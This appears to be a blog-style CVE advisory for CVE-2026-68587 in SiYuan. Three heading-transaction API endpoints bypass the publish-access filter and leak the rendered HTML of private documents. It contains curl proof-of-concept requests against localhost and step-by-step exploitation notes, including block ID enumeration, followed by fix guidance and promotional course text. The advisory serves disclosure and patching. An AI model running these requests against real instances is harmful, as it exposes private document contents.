Listen to this Post
CVE-2026-68587 is an information disclosure vulnerability in SiYuan.
It affects three HTTP endpoints that handle heading transactions.
These endpoints are /api/block/getHeadingDeleteTransaction,
/api/block/getHeadingLevelTransaction, and
/api/block/getHeadingInsertTransaction.
They are registered with only CheckAuth middleware.
CheckAuth allows RoleReader tokens and anonymous requests
when Publish.Auth.Enable is set to false.
Despite their names implying mutations, they do not delete or modify content.
Instead, they compute a transaction object (e.g., undoOperations)
and return it directly in the HTTP response.
The computed transaction contains RenderNodeBlockDOM output,
which includes the full rendered HTML of the heading subtree.
The application has a secure content path /api/filetree/getDoc
that applies a publish-access filter (IsReadOnlyRoleContext).
This filter blocks access to documents marked publish-disabled.
However, these three transaction endpoints bypass that filter.
An attacker can supply a heading block ID to any of these endpoints.
The server will return the HTML content of that heading and its children.
This includes text within the heading body, even if the document is private.
The proof of concept uses a unique marker to confirm disclosure.
The getDoc endpoint returns a blocked response for the same document.
The transaction endpoint returns HTTP 200 with the marker in the HTML.
The endpoint does not require admin privileges or CSRF tokens.
Block IDs are high-entropy, but can be obtained from other unprotected APIs.
For example, getHeadingChildrenIDs also lacks the publish filter.
Chaining these allows end-to-end enumeration and exfiltration.
The impact is confidentiality-only, but it defeats administrator settings.
The recommended fix is to apply the publish-access check to all three.
Alternatively, gate them with CheckAdminRole like other DOM endpoints.
DailyCVE Form:
Platform: SiYuan
Version: Unspecified versions
Vulnerability: Missing publish filter
Severity: Medium
date: 2026-09-04
Prediction: 2026-09-15
What Undercode Say:
1. Disable publish access for target document (admin action)
curl -X POST http://127.0.0.1:6806/api/filetree/setPublishAccess \
-H "Authorization: Token <admin-token>" \
-H "Content-Type: application/json" \
-d '{"id":"DOC","visible":false,"password":"","disable":true}'
2. Baseline: getDoc correctly blocks anonymous read (port 6808)
curl -X POST http://127.0.0.1:6808/api/filetree/getDoc \
-H "Content-Type: application/json" \
-d '{"id":"DOC"}'
Returns blocked/placeholder response.
3. Exploit: fetch rendered DOM via transaction endpoint (anonymous)
curl -X POST http://127.0.0.1:6808/api/block/getHeadingDeleteTransaction \
-H "Content-Type: application/json" \
-d '{"id":"HEADING"}'
Returns HTTP 200; data.undoOperations[].data contains the full HTML.
4. Same disclosure via sibling endpoints
curl -X POST http://127.0.0.1:6808/api/block/getHeadingLevelTransaction \
-H "Content-Type: application/json" \
-d '{"id":"HEADING","level":2}'
curl -X POST http://127.0.0.1:6808/api/block/getHeadingInsertTransaction \
-H "Content-Type: application/json" \
-d '{"id":"HEADING"}'
Exploit: (Educational Purposes!)
- Obtain a heading block ID from a publish-disabled document (e.g., via /api/block/getHeadingChildrenIDs or similar unprotected endpoints).
- Send a POST request to any of the three transaction endpoints with that ID.
- Parse the response; the `data.undoOperations[].data` field contains rendered HTML of the heading subtree, exposing the full private content.
- No authentication, CSRF token, or write permission is required when Publish.Auth.Enable is false.
Protection:
- Apply the same `IsReadOnlyRoleContext` publish-access filter used by `/api/filetree/getDoc` to all three `getHeadingTransaction` handlers.
- Alternatively, reclassify these endpoints as `CheckAdminRole` to match the protection on `/api/block/getBlockDOM` and
/api/block/getBlockKramdown. - Ensure any endpoint returning rendered block DOM enforces the same publish boundary as the primary content path.
Impact:
- An anonymous reader (or RoleReader token) can read the full rendered content of any document that an administrator has explicitly marked as publish-disabled, provided they know a heading block ID.
- While block IDs are high-entropy, they can be enumerated via other unprotected CheckAuth-only endpoints, leading to end-to-end unauthenticated disclosure of private document contents.
- Confidentiality is completely breached; no data modification occurs, but the administrative boundary is fully defeated.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
